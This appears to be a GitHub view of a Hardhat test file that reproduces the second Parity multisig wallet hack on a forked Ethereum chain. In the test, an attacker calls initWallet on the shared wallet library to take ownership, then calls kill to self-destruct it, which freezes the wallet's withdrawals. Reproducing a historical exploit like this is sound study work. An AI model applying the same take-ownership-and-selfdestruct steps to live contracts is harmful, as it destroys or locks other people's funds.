-
Notifications
You must be signed in to change notification settings - Fork 28
/
Copy pathparity.ts
85 lines (72 loc) · 2.42 KB
/
parity.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import { expect } from "chai";
import { Contract, ContractTransaction, Signer } from "ethers";
import hre, { ethers } from "hardhat";
import { forkFrom } from "./utils/fork";
let accounts: Signer[];
let attacker: Signer;
let victim: Signer;
let wallet: Contract;
let walletLib: Contract;
let tx: ContractTransaction;
beforeEach(async () => {
await forkFrom(4501735);
accounts = await ethers.getSigners();
[attacker] = accounts;
// impersonate an owner of the wallet so we can call functions on it
const WALLET_OWNER_ADDR = `0x003aAF73BF6A398cd40F72a122203C37A4128207`;
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: [WALLET_OWNER_ADDR],
});
victim = ethers.provider.getSigner(WALLET_OWNER_ADDR);
wallet = await ethers.getContractAt(
`Wallet`,
`0x1C0e9B714Da970E6466Ba8E6980C55E7636835a6`
);
walletLib = await ethers.getContractAt(
`WalletLibrary`,
`0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4`
);
});
const withdraw = async () => {
// make sure it's less than m_dailyLimit so we only need single owner
const withdrawalAmount = ethers.utils.parseEther(`0.000001`);
const data = walletLib.interface.encodeFunctionData(`execute`, [
await victim.getAddress(),
withdrawalAmount,
[],
]);
// will invoke fallback function
tx = await victim.sendTransaction({
to: wallet.address,
data,
});
return tx;
};
describe("Parity Hack 2", function () {
it("allows withdrawals before being killed", async function () {
const balanceBefore = await ethers.provider.getBalance(wallet.address);
tx = await withdraw();
const balanceAfter = await ethers.provider.getBalance(wallet.address);
expect(balanceAfter.lt(balanceBefore), "withdrawal did not work").to.be
.true;
});
it("breaks withdrawals after being killed", async function () {
const balanceBefore = await ethers.provider.getBalance(wallet.address);
// first call initWallet to make us the owner
tx = await walletLib.initWallet(
[await attacker.getAddress()],
1,
ethers.utils.parseEther(`1`)
);
// then kill it
tx = await walletLib.kill(await attacker.getAddress());
// withdrawal does not revert, is simply a noop now
tx = await withdraw();
const balanceAfter = await ethers.provider.getBalance(wallet.address);
expect(
balanceAfter.eq(balanceBefore),
"withdrawal worked but should not"
).to.be.true;
});
});